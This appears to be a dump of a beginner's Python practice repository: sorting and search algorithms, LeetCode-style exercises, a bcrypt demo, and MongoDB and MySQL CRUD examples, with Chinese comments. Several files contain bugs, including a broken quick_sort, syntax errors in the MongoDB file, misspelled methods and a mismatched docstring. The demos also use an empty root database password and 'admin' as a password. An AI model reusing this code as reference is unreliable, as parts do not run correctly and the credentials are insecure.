range(self.length()): print(f'{current.data[0]}: {current.data[1]}') current = current.next def put(self, item): curr = self.head if curr: while curr: if curr.data[0] == item: curr.data = (curr.data[0], curr.data[1] + 1) return curr = curr.next self.append((item, 1))
[ "/HashTable.py", "/LinkedList.py" ]
0Monster0/Python
# -*- coding: utf-8 -*- # @Time : 2018/4/6 14:00 # @File : Demo.py from Algorithm.Sort.generateArrayHelper import generateArray class SortAlgorithm(object): def __init__(self, lists): self.lists = lists def selection_sort(self): for j in range(len(self.lists)): # 寻找最小值 min_num = j for i in range(j+1, len(self.lists)): if self.lists[i] < self.lists[min_num]: min_num = i self.lists[min_num], self.lists[j] = self.lists[j], self.lists[min_num] return self.lists ''' 首先任意选取一个数据(通常选用数组的第一个数)作为关键数据,然后将所有比它小的数都放到它前面,所有比它大的数都放到它后面,这个过程称为一趟快速排序。 1、选取一个划分元素(partition element,有时又称为pivot); 2、重排列表将其划分为三个部分:left(小于划分元素pivot的部分)、划分元素pivot、right(大于划分元素pivot的部分),此时,划分元素pivot已经在列表的最终位置上; 3、分别对left和right两个部分进行递归排序。 ''' def quick_sort(self, left, right): if left <= right: return self.lists low = left high = right pivot = self.lists[left] while left < right: while left < right and self.lists[right] <= pivot: right -= 1 self.lists[left] = self.lists[right] while left < right and self.lists[left] <= pivot: left += 1 self.lists[right] = self.lists[left] self.lists[right] = pivot self.quick_sort(pivot, low, left - 1) self.quick_sort(pivot, left + 1, high) return if __name__ == '__main__': sort = SortAlgorithm(lists=generateArray(10)) sort_list = sort.selection_sort() print(sort_list) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/17 23:01 # @File : BinarySearch.py # detail ''' 二分查找(Binary Search): 算法核心:在查找表中不断取中间元素与查找值进行比较,以二分之一的倍率进行表范围的缩小。 ''' def binary_search(lists, target): start = 0 end = len(lists) - 1 while start <= end: mid = (start + end) // 2 if lists[mid] > target: end = mid - 1 elif lists[mid] < target: start = mid + 1 else: return True return False ''' 插值查找算法核心:是将二分法中的1/2用公式 value = (target - lists[start])/(lists[end] - lists[start]) 所以中间值 mid = start + int((end - start) * (target - lists[start])/(lists[end] - lists[start])) ''' ''' 查找算法 ''' if __name__ == '__main__': print(binary_search([1,7,8,9], 5)) a = int(0.5) print(a) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/17 22:54 # @File : SequentialSearch.py # detail ''' 无序表查找: 也就是数据不排序的线性查找,遍历数据元素。 算法分析:最好情况是在第一个位置就找到了,此为O(1);最坏情况在最后一个位置才找到,此为O(n);所以平均查找次数为(n+1)/2。 最终时间复杂度为O(n) ''' def sequential_search(lists, target): for i in lists: if i == target: return True else: return False ''' 二分查找 ''' # def binary_search(lists, target): # start = 0 # end = len(lists) - 1 # while start <= end: # mid = (start + end) // 2 # if lists[mid] > target: # end = mid - 1 # elif lists[mid] < target: # start = mid + 1 # elif lists[mid] == target: # print mid # return True # print '没有该数字!' # return False # 针对有序查找表的二分查找算法 # 时间复杂度O(log(n)) def binary_search(lis, key): low = 0 high = len(lis) - 1 time = 0 while low <= high: time += 1 mid = int((low + high) / 2) if key < lis[mid]: high = mid - 1 elif key > lis[mid]: low = mid + 1 else: # 打印折半的次数 print("times: %s" % time) return mid print("times: %s" % time) return False if __name__ == '__main__': LIST = [1, 5, 6, 9] result = binary_search(LIST, 0) print(result) ''' 插值查找算法核心: value = (target - lists[start]) / (lists[end] - lists[start]) mid = start + int((end - start) * (target - lists[start]) / (lists[end] - lists[start])) ''' --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/13 17:21 # @File : BubbleSort.py # detail from Algorithm.Sort.generateArrayHelper import generateArray ''' 它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。 走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排序完成。 ''' def bubble_sort(lists): for i in range(len(lists)): for j in range(len(lists) - 1, i, -1): if lists[j - 1] > lists[j]: lists[j - 1], lists[j] = lists[j], lists[j - 1] return lists new_lists = bubble_sort(generateArray(10)) print(new_lists) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/14 16:00 # @File : HeapSort.py # detail from Algorithm.Sort.generateArrayHelper import generateArray import random ''' 利用堆(heaps)这种数据结构来构造的一种排序算法。 堆是一个近似完全二叉树结构,并同时满足堆属性:即子节点的键值或索引总是小于(或者大于)它的父节点。 堆排序步骤: 1.将数据构建成堆,这里的堆指完全二叉树(不一定是满二叉树) 2.将堆调整为最小堆或最大堆 3.此时堆顶已经为最大数或最小数,可以对下面的分支堆再进行调堆即可,此处采用的是将堆顶数取出,再调堆 ''' # def ajust_heap(heap, root, heapsize): # lchild = 2*root + 1 # rchild = 2*root + 2 # max = root # while lchild < heapsize and heap[lchild] > heap[max]: # max = lchild # while rchild < heapsize and heap[rchild] > heap[max]: # max = rchild # if max != root: # heap[max], heap[root] = heap[root], heap[max] # ajust_heap(heap, max, heapsize) # # def build_max_heap(heap): # heapsize = len(heap) # for i in xrange((heapsize - 2)//2, -1, -1): # ajust_heap(heap, i, heapsize) # # def heap_sort(heap): # build_max_heap(heap) # for i in range(len(heap) - 1, -1 , -1): # heap[0], heap[i] = heap[i], heap[0] # ajust_heap(heap, 0, i) # return heap # # new_lists = heap_sort(generateArray(10)) # print (new_lists) def MAX_Heapify(heap, HeapSize, root): # 在堆中做结构调整使得父节点的值大于子节点 left = 2*root + 1 right = left + 1 larger = root if left < HeapSize and heap[larger] < heap[left]: larger = left if right < HeapSize and heap[larger] < heap[right]: larger = right if larger != root: # 如果做了堆调整则larger的值等于左节点或者右节点的,这个时候做对调值操作 heap[larger], heap[root] = heap[root],heap[larger] MAX_Heapify(heap, HeapSize, larger) def Build_MAX_Heap(heap): # 构造一个堆,将堆中所有数据重新排序 HeapSize = len(heap) # 将堆的长度当独拿出来方便 for i in range((HeapSize - 2) // 2, -1, -1): # 从后往前出数 MAX_Heapify(heap,HeapSize,i) def HeapSort(heap): # 将根节点取出与最后一位做对调,对前面len-1个节点继续进行对调整过程。 Build_MAX_Heap(heap) for i in range(len(heap)-1,-1,-1): heap[0],heap[i] = heap[i],heap[0] MAX_Heapify(heap, i, 0) return heap if __name__ == '__main__': a = [30, 50, 57, 77, 62, 78, 94, 80, 84] print(a) HeapSort(a) print(a) b = [random.randint(1, 1000) for i in range(1000)] print(b) HeapSort(b) print(b) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/12 23:48 # @File : InsertSort.py # detail from Algorithm.Sort.generateArrayHelper import generateArray ''' 插入排序的基本操作就是将一个数据插入到已经排好序的有序数据中, 从而得到一个新的、个数加一的有序数据,算法适用于少量数据的排序,时间复杂度为O(n^2)。是稳定的排序方法。 插入算法把要排序的数组分成两部分:第一部分包含了这个数组的所有元素, 但将最后一个元素除外(让数组多一个空间才有插入的位置),而第二部分就只包含这一个元素(即待插入元素)。 在第一部分排序完成后,再将这个最后元素插入到已排好序的第一部分中。 ''' def insert_sort(lists, start, gap): for index in range(start + gap, len(lists), gap): # 记录大循环走到了第几个元素的值 currentValue = lists[index] # 当前位置的左边gap个位置 previus_num = index # 当前元素的左边的紧靠的元素比它大,要把左边的元素一个一个的往右移gap位,给当前这个值插入到左边挪gap个位置出来 while previus_num >= gap and lists[previus_num - gap] > currentValue: # 左边位置的值向右移动gap位 lists[previus_num] = lists[previus_num - gap] previus_num -= gap # 已经找到了左边排序好的列表里不小于current_val的元素的位置,把current_val放在这里 lists[previus_num] = currentValue return lists new_lists = insert_sort(generateArray(10), 0, 1) print(new_lists) def insert_sort2(lists): # 插入排序 count = len(lists) for i in range(1, count): key = lists[i] j = i - 1 while j >= 0: if lists[j] > key: lists[j + 1] = lists[j] lists[j] = key j -= 1 return lists --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/14 21:52 # @File : MergeSort.py # detail from Algorithm.Sort.generateArrayHelper import generateArray ''' 归并(Merge)排序法是将两个(或两个以上)有序表合并成一个新的有序表,即把待排序序列分为若干个子序列,每个子序列是有序的。 然后再把有序子序列合并为整体有序序列。归并过程:比较a[i]和a[j]的大小,若a[i]≤a[j],则将第一个有序表中的元素a[i]复制到r[k]中,并令i和k分别加上1; 否则将第二个有序表中的元素a[j]复制到r[k]中,并令j和k分别加上1,如此循环下去,直到其中一个有序表取完,然后再将另一个有序表中剩余的元素复制到r中从下标k到下标t的单元。 归并排序的算法我们通常用递归实现,先把待排序区间[s,t]以中点二分,接着把左边子区间排序,再把右边子区间排序,最后把左区间和右区间用一次归并操作合并成有序的区间[s,t]。 ''' def merge(left, right): result = [] i, j = 0, 0 while len(left) > i and len(right) > j: if left[i] < right[j]: result.append(left[i]) i += 1 else: result.append(right[j]) j += 1 result += left[i:] result += right[j:] return result def merge_sort(lists): if len(lists) <=1: return lists middle = len(lists)//2 left = lists[:middle] right = lists[middle:] return merge(merge_sort(left), merge_sort(right)) new_lists = merge_sort(generateArray(0)) print (new_lists) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/13 23:25 # @File : QuickSort.py # detail from Algorithm.Sort.generateArrayHelper import generateArray ''' 首先任意选取一个数据(通常选用数组的第一个数)作为关键数据,然后将所有比它小的数都放到它前面,所有比它大的数都放到它后面,这个过程称为一趟快速排序。 1、选取一个划分元素(partition element,有时又称为pivot); 2、重排列表将其划分为三个部分:left(小于划分元素pivot的部分)、划分元素pivot、right(大于划分元素pivot的部分),此时,划分元素pivot已经在列表的最终位置上; 3、分别对left和right两个部分进行递归排序。 ''' # 第一种方法 def quick_sort(lists, left, right): if left >= right: return lists pivot = lists[left] low = left high = right print(lists) while left < right: while left < right and lists[right] >= pivot: right -= 1 lists[left] = lists[right] while left < right and lists[left] < pivot: left += 1 lists[right] = lists[left] lists[right] = pivot quick_sort(lists, low, left - 1) quick_sort(lists, left + 1, high) return lists # new_lists = quick_sort(generateArray(10),0,len(generateArray(10)) - 1) # print(new_lists) # 第二种方法 def quick_sort(seq): if len(seq) <= 1: return seq pivot = seq.pop() left, right = [], [] for x in seq: if x > pivot: right.append(x) else: left.append(x) return quick_sort(left) + [pivot] + quick_sort(right) # 第三种方法 def quickSort(alist): quickSortHelper(alist, 0, len(alist) - 1) def quickSortHelper(alist, first, last): if first < last: splitpoint = partition(alist, first, last) quickSortHelper(alist, first, splitpoint - 1) quickSortHelper(alist, splitpoint + 1, last) def partition(alist, first, last): pivotvalue = alist[first] leftmark = first + 1 rightmark = last done = False while not done: while leftmark <= rightmark and alist[leftmark] <= pivotvalue: leftmark = leftmark + 1 while alist[rightmark] >= pivotvalue and rightmark >= leftmark: rightmark = rightmark - 1 if rightmark < leftmark: done = True else: temp = alist[leftmark] alist[leftmark] = alist[rightmark] alist[rightmark] = temp temp = alist[first] alist[first] = alist[rightmark] alist[rightmark] = temp return rightmark alist = [54, 26, 93, 17, 77, 31, 44, 55, 20] quickSort(alist) print(alist) # 第四种方法 quick_sort = lambda array: array if len(array) <= 1 else quick_sort( [item for item in array[1:] if item <= array[0]]) + [array[0]] + quick_sort( [item for item in array[1:] if item > array[0]]) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/15 17:35 # @File : RadixSort.py # detail import math from Algorithm.Sort.generateArrayHelper import generateArray ''' 基数排序是按照低位先排序,然后收集;再按照高位排序,然后再收集;依次类推,直到最高位。 有时候有些属性是有优先级顺序的,先按低优先级排序,再按高优先级排序,最后的次序就是高优先级高的在前,高优先级相同的低优先级高的在前。 基数排序基于分别排序,分别收集,所以其是稳定的排序算法。 ''' def radix_sort(lists, radix = 10): k = int(math.log(max(lists), radix)) bucket = [[] for b in range(radix)] for i in range(k + 1): for j in lists: bucket[j / (radix ** i) % radix].append(j) del lists[:] for l in bucket: lists += l del l[:] return lists new_lists = radix_sort(generateArray(10)) print(new_lists) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/13 18:45 # @File : SelectSort.py # detail from Algorithm.Sort.generateArrayHelper import generateArray # 首先在未排序序列中找到最小元素,存放到排序序列的起始位置,然后,再从剩余未排序元素中继续寻找最小元素,然后放到排序序列末尾。以此递归。 def select_sort(lists): for i in range(len(lists)): max_num = i for j in range(i + 1, len(lists)): if lists[max_num] < lists[j]: max_num = j lists[max_num], lists[i] = lists[i], lists[max_num] return lists new_lists = select_sort(generateArray(10)) print(new_lists) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/13 19:28 # @File : ShellSort.py # detail from generateArrayHelper import generateArray from Algorithm.Sort.InsertSort import insert_sort ''' 希尔排序(Shell Sort)是插入排序的一种。(也叫“最小增量排序”) 也称缩小增量排序,是直接插入排序算法的一种更高效的改进版本。 希尔排序是非稳定排序算法。该方法因DL.Shell于1959年提出而得名。 希尔排序是把记录按下标的一定增量分组,对每组使用直接插入排序算法排序; 随着增量逐渐减少,每组包含的关键词越来越多,当增量减至1时,整个文件恰被分成一组,算法便终止。 ''' def shell_sort(lists): step = 2 gap = len(lists) / step while gap > 0: for startpostion in range(gap): insert_sort(lists, startpostion, gap) print("After increments of size", gap, "The list is", lists) gap //= step return lists # def shell_sort(lists): # count = len(lists) # step = 2 # group = count / step # while group > 0: # for i in range(0, group): # j = i + group # while j < count: # k = j - group # key = lists[j] # while k >= 0: # if lists[k] > key: # lists[k+group] = lists[k] # lists[k] = key # k -= group # j += group # group /=step # return lists new_lists = shell_sort(generateArray(10)) print(new_lists) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/3/13 19:57 # @File : generateArrayHelper.py # detail import random def generateArray(n): arr = [random.randint(0, 1000) for num in range(n)] return arr --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/4 11:58 # @File : AssignCookies.py ''' 假设你是一位很棒的家长,想要给你的孩子们一些小饼干。但是,每个孩子最多只能给一块饼干。对每个孩子 i ,都有一个胃口值 gi ,这是能让孩子们满足胃口的饼干的最小尺寸;并且每块饼干 j ,都有一个尺寸 sj 。如果 sj >= gi ,我们可以将这个饼干 j 分配给孩子 i ,这个孩子会得到满足。你的目标是尽可能满足越多数量的孩子,并输出这个最大数值。 注意: 你可以假设胃口值为正。 一个小朋友最多只能拥有一块饼干。 示例 1: 输入: [1,2,3], [1,1] 输出: 1 解释: 你有三个孩子和两块小饼干,3个孩子的胃口值分别是:1,2,3。 虽然你有两块小饼干,由于他们的尺寸都是1,你只能让胃口值是1的孩子满足。 所以你应该输出1。 ''' def assign_cookie(child_lists, cookie_lists): ''' 贪心算法 :param child_lists: :param cookie_lists: :return: ''' child_lists.sort() cookie_lists.sort() child = 0 cookie = 0 while cookie < len(cookie_lists) and child < len(child_lists): if cookie_lists[cookie] > child_lists[child]: child += 1 cookie += 1 return child def change(money_value, count, money): sum = 0 dict = {} for i in range(len(money_value)): sum += money_value[i] * count[i] print(sum) if sum < money: return False for j in range(len(money_value) - 1, -1, -1): if money >= money_value[j]: n = money // money_value[j] if n > count[j]: n = count[j] money -= n * money_value[j] dict[money_value[j]] = n if money != 0: return '零钱不足' else: return dict money_value = [1, 5, 10, 20, 50, 100] count = [2, 0, 10, 5, 1, 1] money = 273 data_type = change(money_value, count, money) if isinstance(data_type, dict): for k, v in data_type.items(): print('%d元:%d张' % (k, v)) else: print(data_type) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/1 11:54 # @File : ClimbStairs.py ''' 假设你正在爬楼梯。需要 n 步你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢? 注意:给定 n 是一个正整数。 ''' # 递归 def climb_stairs(n): if n == 0 or n == 1 or n == 2: return n else: total = climb_stairs(n - 1) + climb_stairs(n - 2) return total # 压缩法 def climb_stairs2(n): if n == 0 or n == 1: return 1 a, b = 1, 2 for i in range(2, n): a, b = b, a + b return a # 动态规划 def climb_stairs3(n): if n == 1: return 1 res = [0 for i in range(n)] res[0], res[1] = 1, 2 for i in range(2, n): res[i] = res[i - 1] + res[i - 2] return res[n - 1] --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/2 15:21 # @File : DeleteDuplicates.py ''' 给定一个排序链表,删除所有重复的元素,使得每个元素只出现一次。 ''' # Definition for singly-linked list. # class ListNode: # def __init__(self, x): # self.val = x # self.next = None def delete_duplicates(head): current = head while current and current.next: if current.val != current.next.val: current = current.next else: current.next = current.next.next return head ''' 给定一个排序链表,删除所有含有重复数字的节点,只保留原始链表中 没有重复出现 的数字。 ''' # Definition for singly-linked list. # class ListNode: # def __init__(self, x): # self.val = x # self.next = None def delete_duplicates2(head): """ :type head: ListNode :rtype: ListNode """ if head is None or head.next is None: return head dummy = ListNode(0); # 创建虚拟链表 dummy.next = head pre = dummy # 设置先前值 cur = head # 设置当前值 while cur: if cur.next and cur.val == cur.next.val: # 循环直到当前值为最后的重复值 while cur and cur.next and cur.val == cur.next.val: cur = cur.next cur = cur.next pre.next = cur else: pre = pre.next cur = cur.next return dummy.next def delete_duplicates3(head): dummy = ListNode(0) dummy.next = head curr = dummy while curr: has_dup = False # Remove duplicates and leave the last of the duplicates. while curr.next and curr.next.next and curr.next.val == curr.next.next.val: curr.next = curr.next.next has_dup = True if has_dup: # Remove the last duplicate curr.next = curr.next.next else: curr = curr.next return dummy.next def delete_duplicates4(head): """ Time complexity: O(n). Space complexity: O(1), n is len(linked list). """ prev = None curr = head while curr: found = False # did we find node with duplicate value? # compare current node's value with next node's value while curr and curr.next and curr.val == curr.next.val: found = True curr = curr.next # after exiting the while loop curr is gonna point to the last # duplicate node, if there's one if found: curr = curr.next # move curr pointer to the next unique node if prev != None: prev.next = curr # skip all duplicates else: # prev == None, 1st duplicate node is the 1st node in the list head = curr else: # no duplicates were found prev, curr = curr, curr.next return head --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/5 21:12 # @File : HouseRobber.py ''' 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。 给定一个代表每个房屋存放金额的非负整数数组,计算你在不触动警报装置的情况下,能够偷窃到的最高金额。 示例 1: 输入: [1,2,3,1] 输出: 4 解释: 偷窃 1 号房屋 (金额 = 1) ,然后偷窃 3 号房屋 (金额 = 3)。 偷窃到的最高金额 = 1 + 3 = 4 。 示例 2: 输入: [2,7,9,3,1] 输出: 12 解释: 偷窃 1 号房屋 (金额 = 2), 偷窃 3 号房屋 (金额 = 9),接着偷窃 5 号房屋 (金额 = 1)。 偷窃到的最高金额 = = 2 + 9 + 1 = 12 。 f(0) = nums[0] f(1) = max(num[0], num[1]) f(k) = max(f(k-2) + nums[k], f(k)) ''' def rob(nums): """ :type nums: List[int] :rtype: int """ last, now = 0, 0 for num in nums: last, now = now, max(last + num, now) return now def rob(nums): """ :type nums: List[int] :rtype: int """ n = len(nums) ll = [0 for i in range(n)] if n == 0: return 0 if n == 1: return nums[0] if n == 2: return max(nums) else: ll[0] = nums[0] ll[1] = max(nums[0], nums[1]) for i in range(2, len(nums)): ll[i] = max(ll[i-2] + nums[i], ll[i-1]) return ll[-1] --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/8 15:02 # @File : KeyboardRow.py def keyboard_row(words): ans = [] key_set = ['qwertyuiop', 'asdfghjkl', 'zxcvbnm'] for key in key_set: for word in words: w = set(word.lower()) if w.issubset(key): ans.append(word) return ans --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/2 15:16 # @File : MergeTwoLists.py ''' 将两个有序链表合并为一个新的有序链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 ''' # Definition for singly-linked list. # class ListNode: # def __init__(self, x): # self.val = x # self.next = None def merge_two_lists(l1, l2): if l1 and l2: if l1.val > l2.val: l1, l2 = l2, l1 l1.next = merge_two_lists(l1.next, l2) return l1 or l2 --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/6 23:53 # @File : MinCostClimbingStairs.py def minCostClimbingStairs1(cost): n = len(cost) if n == 0: return 0 if n == 1: return cost[0] # if n == 2: # return min(cost[0], cost[1]) dp = [0]*n for i in range(2, n): dp[i] = min(cost[i - 1] + dp[i - 1], cost[i - 2] + dp[i - 2]) return dp[-1] def minCostClimbingStairs2(cost): n = len(cost) dp = [0]*n dp[0], dp[1] = cost[0], cost[1] for i in range(2, n): dp[i] = cost[i] + min(dp[i - 1], dp[i - 2]) return min(dp[n - 1], dp[n - 2]) def minCostClimbingStairs3(cost): n = len(cost) if n == 0: return 0 if n == 1: return cost[0] min_cost1, min_cost2 = cost[0], cost[1] for c in cost[2:]: min_cost1, min_cost2 = min_cost2, min(min_cost1, min_cost2) + c return min(min_cost1, min_cost2) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/7 23:34 # @File : MinStack.py class MinStack: def __init__(self): """ initialize your data structure here. """ self.stack = [] def push(self, x): """ :type x: int :rtype: void """ return self.stack.append((x, x if not self.stack else min(self.getMin(), x))) def pop(self): """ :rtype: void """ if self.stack: self.stack.pop() else: return None def top(self): """ :rtype: int """ if self.stack: return self.stack[-1][0] else: return None def getMin(self): """ :rtype: int """ if self.stack: return self.stack[-1][1] else: return None # Your MinStack object will be instantiated and called as such: obj = MinStack() obj.push(-2) obj.push(0) obj.push(-3) print(obj.getMin()) obj.pop() print(obj.top()) print(obj.getMin()) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/8 13:03 # @File : ReverseString.py def reverse_string(s): return s[::-1] def reverse_string2(s): n = len(s) if n < 2: return s l = reverse_string2(s[n // 2:]) r = reverse_string2(s[:n // 2]) res = l + r return res --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/1 0:00 # @File : SingleNumber.py from functools import reduce import operator ''' 给定一个排序数组,你需要在原地删除重复出现的元素,使得每个元素只出现一次,返回移除后数组的新长度。 不要使用额外的数组空间,你必须在原地修改输入数组并在使用 O(1) 额外空间的条件下完成。 ''' def single_number1(nums): dic = {} for num in nums: dic[num] = dic.get(num, 0) + 1 for key, val in dic.items(): if val == 1: return key def single_number2(nums): res = 0 for num in nums: res ^= num return res def single_number3(nums): return 2 * sum(set(nums)) - sum(nums) def single_number4(nums): return reduce(lambda x, y: x ^ y, nums) def single_number5(nums): return reduce(operator.xor, nums) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/5/3 23:10 # @File : SymmetricTree.py ''' 给定一个二叉树,检查它是否是镜像对称的。 例如,二叉树 [1,2,2,3,4,4,3] 是对称的。 1 / \ 2 2 / \ / \ 3 4 4 3 ''' # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: def isSymmetric(self, root): """ :type root: TreeNode :rtype: bool """ if root is None: return True return def isSymmetrical(self, left, right): if left is None and right is None: return True if left is None or right is None: return False if left.val == right.val: outSymmetrical = self.isSymmetrical(left.left, right.right) inSymmetrical = self.isSymmetrical(left.right, right.left) return outSymmetrical and inSymmetrical else: return False --- FILE SEPARATOR --- # two-pointer def two_sum1(numbers, target): left, right = 0, len(numbers) - 1 while left < right: s = numbers[left] + numbers[right] if s == target: return [left + 1, right + 1] elif s < target: left += 1 else: right -= 1 # dictionary def two_sum2(numbers, target): dic = {} for i, num in enumerate(numbers, 1): if target - num in dic: return [dic[target - num], i] dic[num] = i # binary search def two_sum3(numbers, target): for i in range(len(numbers)): left, right = i + 1, len(numbers) - 1 tmp = target - numbers[i] while left <= right: mid = left + (right - left) // 2 if numbers[mid] == tmp: return [i + 1, mid + 1] elif numbers[mid] < tmp: left = mid + 1 else: right = mid - 1 --- FILE SEPARATOR --- import bcrypt password = b"admin" # 对password做1轮的加密,获得了加密之后的字符串hashed,形如:$2a$10$aoiufioadsifuaisodfuiaosdifasdf hashed = bcrypt.hashpw(password, bcrypt.gensalt()) # 检查用户输入的password是否正确,其实bcrypt.hashpw()函数的第二个参数是salt,bcrypt自己来解析版本、cost和前22位的salt,所以这里可以把整个hash过的字符串传进去 if bcrypt.hashpw(password, hashed) == hashed: print(hashed) print("It Matches!") else: print("It Does not Match :(") --- FILE SEPARATOR --- import time from functools import wraps def metric(func): @wraps(func) def wrapper(*args, **kwargs): start = time.time() func(*args, **kwargs) end = time.time() use_time = end - start print('%s executed in %s ms' % (func.__name__, use_time)) return func(*args, **kwargs) return wrapper # 测试 @metric def fast(x, y): time.sleep(0.05) return x + y @metric def slow(x, y, z): time.sleep(0.5) return x * y * z f = fast(11, 22) s = slow(11, 22, 33) if f != 33: print('测试失败!') elif s != 7986: print('测试失败!') else: print('测试成功!') def logged(func): @wraps(func) # functools.wraps可以将原函数对象的指定属性复制给包装函数对象,默认有 __module__、__name__、__doc__,或者通过参数选择. def with_logging(*args, **kwargs): """wrapper function""" print(func.__name__ + " was called") return func(*args, **kwargs) return with_logging @logged def f(x): """does some math""" return x + x * x # print(f.__name__) # prints 'f' # print(f.__doc__) # prints 'does some math' --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # @Time : 2018/4/26 11:59 # @File : __init__.py.py --- FILE SEPARATOR --- from datetime import datetime from pymongo import MongoClient from bson import ObjectId class TestMongo(object): def __init__(self): self.client = MongoClient() self.db = self.client['blog'] def get_one(self): '''查询一条数据''' return self.db.blog.post.find_one() def get_more(self): '''查询多条数据''' return self.db.blog.post.find() def get_one_from_oid(self): '''根据id查询数据''' return self.db.blog.post.find_one({'_id': ObjectId(oid)}) def add_one(self): '''新增一条数据''' post = { 'title': '标题', 'content': '博客内容', 'author': '佚名', 'create_at': datetime.now() } return self.db.blog.post.insert_one(post) def update(self): '''修改一条数据''' return self.db.blog.post.update_one({'title': '标题'}, {'$inc': {'x': 1}) print(matched_count) print(modified_count) '''修改多条数据''' return self.db.blog.post.update({'title': '标题':}, {'$inc': {'x': 1}}) def delete(self): '''一条数据''' return self.db.blog.post.delete_one({'title': '标题'}) print(deleted_count) '''多条数据''' return self.db.blog.post.delete_many({'title': '标题':}) def main(): obj = TestMongo() res = obj.add_one() print(res.inserted_id) if __name__ == '__main__': main() --- FILE SEPARATOR --- # http://docs.mongoengine.org/tutorial.html from mongoengine import connect, Document, EmbeddedDocument, EmbeddedDocumentField,\ StringField, FloatField, IntField, DateTimeField, ListField connect('students') class Grade(EmbeddedDocument): '''学生的成绩''' name = StringField(required=True) score = FloatField(required=True) SEX_CHOIES = ( ('female', '女'), ('male', '男') ) class Student(Document): '''学生模型''' name = StringField(required=True, max_length=20) age = IntField(required=True) sex = StringField(required=True, choices=SEX_CHOIES) grade = FloatField() address = StringField() grades = ListField(EmbeddedDocumentField(Grade)) meta = { 'collection': 'students', '_ordering_': ['-grade'] } class TestMongoengine(object): def add_one(self): '''新增数据''' English = Grade( name = '英语', score = 56 ) math = Grade( name = '数学', score = 100 ) Chinese = Grade( name = '语文', score = 89 ) stu_obj = Student( name = '张三', age = 12, sex = 'male', grades = [English, math, Chinese] ) # stu_obj.remark = 'remark' stu_obj.save() return stu_obj def get_one(self): '''查询一条数据''' return Student.objects.first() def get_more(self): '''查询多条数据''' return Student.objects.all() def get_one_from_oid(self, oid): '''根据id查询数据''' return Student.objects.filter(pk=oid).first() def update(self): '''修改一条数据''' return Student.objects.filter(age=12).updata_one(inc__age=1) '''修改多条数据''' return Student.objects.filter(age=12).updata(inc__age=1) def delete(self): '''删除一条数据''' return Student.objects.filter(age__gt=12, sex='male').first().delete() '''删除多条数据''' return Student.objects.filter(age=12).delete() def main(): obj = TestMongoengine() res = obj.add_one() print(res.id) if __name__ == '__main__': main() --- FILE SEPARATOR --- import MySQLdb class MySQLsecrch(object): def __init__(self): self.get_conn() def get_conn(self): try: self.conn = MySQLdb.connect( host='127.0.0.1', port=3306, user='root', passwd='', db='flask_news', charset='utf8' ) except MySQLdb.Error as e: print('Error: %s' % e) def close_conn(self): try: if self.conn: self.conn.close() except MySQLdb.Error as e: print('Error: %s' % e) def get_one(self): # 准备SQL sql = 'SELECT * FROM `news` WHERE `news_type` = %s ORDER BY `created_at` DESC;' # 找到cursor cursor = self.conn.cursor() # 执行sql cursor.execute(sql, ('体育', )) # 拿到结果 res = cursor.fetchone() # 处理结果 # 关闭cursor/连接 cursor.close() self.close_conn() def get_more(self): # 准备SQL sql = 'SELECT * FROM `news` WHERE `news_type` = %s ORDER BY `created_at` DESC;' # 找到cursor cursor = self.conn.cursor() # 执行sql cursor.execute(sql, ('体育', )) # 拿到结果 res = [dict(zip([k[0] for k in cursor.description], row) for row in cursor.fetchall())] # 处理结果 # 关闭cursor/连接 cursor.close() self.close_conn() return res def get_more_by_page(self, page, pagesize): offset = (page - 1) * pagesize # 准备SQL sql = 'SELECT * FROM `news` WHERE `news_type` = %s ORDER BY `created_at` DESC LIMIT %s, %s;' # 找到cursor cursor = self.conn.cursor() # 执行sql cursor.execute(sql, ('体育', offset, pagesize)) # 拿到结果 res = [dict(zip([k[0] for k in cursor.description], row) for row in cursor.fetchall())] # 处理结果 # 关闭cursor/连接 cursor.close() self.close_conn() return res def add_one(self): try: # 准备SQL sql = 'INSERT INTO `news` (`title`, `content`, `news_type`, `img_url`) VALUE(%s, %s, %s, %s);' # 找到cursor cursor = self.conn.cursor() # 执行sql cursor.execute(sql, ('标题', '内容', '类型', '/static/images/7')) # 执行事务 self.conn.commit() # 关闭cursor/连接 cursor.close() except: print('Error!') self.conn.rollback() self.close_conn() def main(): obj = MySQLsecrch() obj.add_one() # res = obj.get_more() # res = obj.get_more_by_page(2, 3) # for r in res: # print(res) if __name__ == '__main__': main() --- FILE SEPARATOR --- # coding: 